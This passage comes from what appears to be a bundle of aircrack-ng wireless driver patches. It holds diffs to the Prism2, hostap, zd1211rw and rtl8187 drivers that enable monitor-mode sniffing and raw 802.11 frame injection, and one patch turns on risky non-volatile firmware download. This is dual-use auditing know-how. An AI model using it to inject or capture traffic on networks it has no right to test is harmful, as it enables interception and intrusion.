HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(rxdesc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x_usb.c 2005-10-31 14:52:36.000000000 -0500 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x_usb.c 2006-03-18 15:38:19.000000000 -0500 @@ -1398,8 +1398,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3412,37 +3420,71 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); +// hw->txbuff.txfrm.desc.tx_control = +// host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); +// /* copy the header over to the txdesc */ +// memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } +// /* if we're using host WEP, increase size by IV+ICV */ +// if (p80211_wep->data) { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); +// // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// usbpktlen+=8; +// } else { +// hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { +// if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4203,6 +4245,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.3/src/prism2/driver/prism2mgmt.c 2005-06-22 10:16:55.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2mgmt.c 2006-03-18 15:21:03.000000000 -0500 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { +// if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; +// word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { +// if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.3/src/prism2/driver/prism2sta.c 2005-10-07 17:32:44.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/prism2sta.c 2006-03-18 15:15:00.000000000 -0500 @@ -410,7 +410,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { +// if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } aircrack-ng-1.2-beta3/patches/old/hostap-driver-0.3.9.patch0000644000000000000000000001442110761053203021710 0ustar rootrootdiff -ur ../hostap-driver-0.3.9/driver/modules/hostap.c ./driver/modules/hostap.c --- ../hostap-driver-0.3.9/driver/modules/hostap.c 2004-08-28 05:26:46.000000000 +0200 +++ ./driver/modules/hostap.c 2005-07-29 12:13:38.000000000 +0200 @@ -401,7 +401,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_80211_tx.c ./driver/modules/hostap_80211_tx.c --- ../hostap-driver-0.3.9/driver/modules/hostap_80211_tx.c 2004-07-06 01:45:01.000000000 +0200 +++ ./driver/modules/hostap_80211_tx.c 2005-07-29 12:26:05.000000000 +0200 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -376,8 +380,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_config.h ./driver/modules/hostap_config.h --- ../hostap-driver-0.3.9/driver/modules/hostap_config.h 2005-06-11 05:03:36.000000000 +0200 +++ ./driver/modules/hostap_config.h 2005-07-29 12:13:38.000000000 +0200 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_hw.c ./driver/modules/hostap_hw.c --- ../hostap-driver-0.3.9/driver/modules/hostap_hw.c 2005-05-18 05:31:21.000000000 +0200 +++ ./driver/modules/hostap_hw.c 2005-07-29 12:13:38.000000000 +0200 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3259,6 +3296,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_ioctl.c ./driver/modules/hostap_ioctl.c --- ../hostap-driver-0.3.9/driver/modules/hostap_ioctl.c 2005-05-18 05:33:28.000000000 +0200 +++ ./driver/modules/hostap_ioctl.c 2005-07-29 12:13:38.000000000 +0200 @@ -1067,33 +1067,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1159,7 +1133,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur ../hostap-driver-0.3.9/driver/modules/hostap_wlan.h ./driver/modules/hostap_wlan.h --- ../hostap-driver-0.3.9/driver/modules/hostap_wlan.h 2005-05-18 05:31:22.000000000 +0200 +++ ./driver/modules/hostap_wlan.h 2005-07-29 12:13:38.000000000 +0200 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-beta3/patches/old/zd1211rw_inject_2.6.26.patch0000644000000000000000000000254412103567066022132 0ustar rootrootdiff -pur drivers/net/wireless/zd1211rw/zd_mac.c.orig drivers/net/wireless/zd1211rw/zd_mac.c --- drivers/net/wireless/zd1211rw/zd_mac.c.orig 2008-07-20 19:44:42.000000000 +0200 +++ drivers/net/wireless/zd1211rw/zd_mac.c 2008-07-20 19:49:24.000000000 +0200 @@ -159,14 +159,19 @@ void zd_mac_clear(struct zd_mac *mac) static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mc_hash(struct zd_mac *mac) @@ -679,7 +684,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; aircrack-ng-1.2-beta3/patches/old/zd1211rw-inject+dbi-fix-3.3.2.patch0000644000000000000000000000336112103567066023212 0ustar rootroot--- linux/drivers/net/wireless/zd1211rw.bak/zd_mac.c 2012-03-19 00:15:34.000000000 +0100 +++ linux/drivers/net/wireless/zd1211rw/zd_mac.c 2012-04-17 14:07:20.962966310 +0200 @@ -243,14 +243,19 @@ static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mac_and_bssid(struct zd_mac *mac) @@ -1047,7 +1052,8 @@ /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -1060,6 +1066,7 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = zd_check_signal(hw, status->signal_strength); + stats.signal = stats.signal - 90; rate = zd_rx_rate(buffer, status); @@ -1388,7 +1395,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING; hw->wiphy->interface_modes = aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.21v4.patch0000644000000000000000000120133210761053203020665 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-06-21 23:44:38.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-06-21 23:44:38.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); 